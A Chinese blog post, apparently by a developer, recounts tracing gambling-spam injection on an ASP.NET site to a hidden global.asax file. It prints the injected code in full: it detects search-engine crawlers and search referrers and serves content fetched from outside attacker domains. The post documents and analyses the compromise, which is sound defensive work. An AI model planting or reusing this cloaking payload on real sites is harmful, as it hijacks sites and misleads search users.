有一段时间在搜索引擎上出现被收录的内容里被加料了的现象,加的料都是和菠菜有关,当时就看到视图文件标题被加东西了,但是我们都认为没有后台,而她说没有上传功能,我们还以为是自己的电脑或者是写界面的时候从哪复制进来的,改完就过去了。
五一节前开始出事了,先是晚上的时候,网站目录下的bin等文件夹被删,第二天到公司在网站的上传目录里找到了很多木马;之后套路云监测网站有非法内容,好几个网址被阻断,但是被阻断的网址其实在服务器上都是不存在的,通过查WAF的全量日志发现,被阻断的这几个网址,都是在4月28号左右或之前有通过搜索引擎抓取的记录,拿对应的网址到对应的搜索引擎上搜索,有收录记录。也就是说在当时这个网址是有内容的,而且是非法的内容被阿里云检测到,之后再次访问的时候就会被阻断,这么说服务器上还是有不干净的东西。
最开始的时候怀疑是IIS被加了isapi程序,检查之后没有;之后怀疑是bin文件夹里被加了dll,整个文件夹删除了重新替换也是不行。期间一直跟套路云的技术沟通,后来被套路云忽悠花了5k大洋让他们给做安全检查,那天是4月30号,第二天就是五一假期了。之后发现如果请求的useragent的来源如果是蜘蛛,返回的内容里就会被加料。
五一假期第一天,我那个同事到公司来,又新建了个站,用全新的文件放上去,测试没问题;新建站用原来的文件,测试的话就会被加料。看来问题没有出在IIS上,还是网站的文件有问题。暂时换到新建的这站上用着。
今天,就是在刚刚不久,真正的主角——本帅该出场了,我分析了下问题不是在IIS上,只和网站有关,而且包括web api接口都会被加料,而且会有选择的加料,静态文件可以排除,独立的脚本可以排除,只有放在bin里的dll、根目录下的global.asax,让他们改dll难度太大,而且之前也已经把bin排除掉了,那唯一的可能就是global.asax被加料了,但是根目录下没有global.asax文件,而且文件夹选项已经设置成显示隐藏文件了,先试下到底存不存在这个文件吧,添加一个global.asax文件,提示已经存在,直接用记事本打开global.asax,好家伙,果然被加东西了,下面就把被加的料给大家看一下,顺便看有没有大佬想帮我解这口气,送几百T流量给他:
<%@ Import Namespace="System.Net" %>
<%@ Import Namespace="System.Net.Sockets" %>
<%@ Import Namespace="System.Text" %>
<%@ Import Namespace="System.IO" %>
<%@ Import Namespace="System.Security.Cryptography" %>
<script runat="server">
void Application_Error(object sender, EventArgs e)
{
if(Context != null)
{
HttpContext ctx = HttpContext.Current;
Exception ex = ctx.Server.GetLastError();
HttpException ev = ex as HttpException;
if(ev!= null)
{
if(ev.GetHttpCode() == 404)
{
string[] spidersString = "sogou,so.com,google,youdao,yahoo,bing,118114,biso,gougou,ifeng,ivc,sooule,niuhu,biso,360,sm,uc".ToLower().Split(',');
string[] refesString = "sogou,so.com,google,youdao,yahoo,bing,118114,biso,gougou,ifeng,ivc,sooule,niuhu,biso,360,sm,uc".ToLower().Split(',');
string Path = "http://www.zhangguorong556666.com/3.php";
string jsPath = "http://www.ihaveadream666.com/jscp.html";
string leftPath = "http://www.zhangguorong556666.com/bcleft.php";
string REFERER = "";
string user="";
string urls=Request.Url.ToString();
string host=Request.Url.Host;
string spi2 = "";
string[] spidersString2 = "ao,so.com,360".ToLower().Split(',');
string user2 = Request.ServerVariables["HTTP_USER_AGENT"].ToString().ToLower();
foreach (string s12 in spidersString2)
{
if (user2.IndexOf(s12) != -1)
{
spi2 = "&zz=360";
break;
}
}
if (user2.IndexOf("aid") != -1)
{
spi2 =spi2 + "&bb=baidu";
}
if (Request.UrlReferrer != null)
{
REFERER = Request.UrlReferrer.ToString().ToLower();
}
if (Request.ServerVariables["HTTP_USER_AGENT"] != null)
{
user = Request.ServerVariables["HTTP_USER_AGENT"].ToString().ToLower();
}
foreach (string s in refesString)
{
if (REFERER.IndexOf(s) != -1)
{
ctx.ClearError();
string getjs = get_content(jsPath);
Response.Write(getjs);
Response.End();
}
}
foreach (string s in spidersString)
{
if (user.IndexOf(s) != -1)
{
ctx.ClearError();
Response.Clear();
if (urls.IndexOf("sitemap") != -1)
{
string getleft = get_content(leftPath);
Response.Write(getleft);
Response.End();
}
string gethttp = get_content(Path+"?host="+host+"&urldz="+urls+spi2);
Response.Write(gethttp );
Response.End();
}
}
//Response.Redirect("/");
}
}
}
}
void Application_BeginRequest(object sender, EventArgs e)
{
string[] spidersString = "Baiduspider,baidu.com,sogou.com,sougou,360Spider".ToLower().Split(',');
string user="";
if (Request.ServerVariables["HTTP_USER_AGENT"] != null)
{
user = Request.ServerVariables["HTTP_USER_AGENT"].ToString().ToLower();
}
foreach (string s in spidersString)
{
if (user.IndexOf(s) != -1)
{
Response.Clear();
string gethttp = get_content("http://www.zhangguorong556666.com/BCleft2.php");
Response.Write(gethttp);
}
}
}
private string get_content(string p)
{
string s = "";
try
{
System.Net.WebClient client = new System.Net.WebClient();
client.Encoding = System.Text.Encoding.GetEncoding("gb2312");
s = client.DownloadString(p);
client.Dispose();
}
catch(Exception ex)
{
Response.Write(""+ex.Message);
}
return s;
}
</script>
发表评论: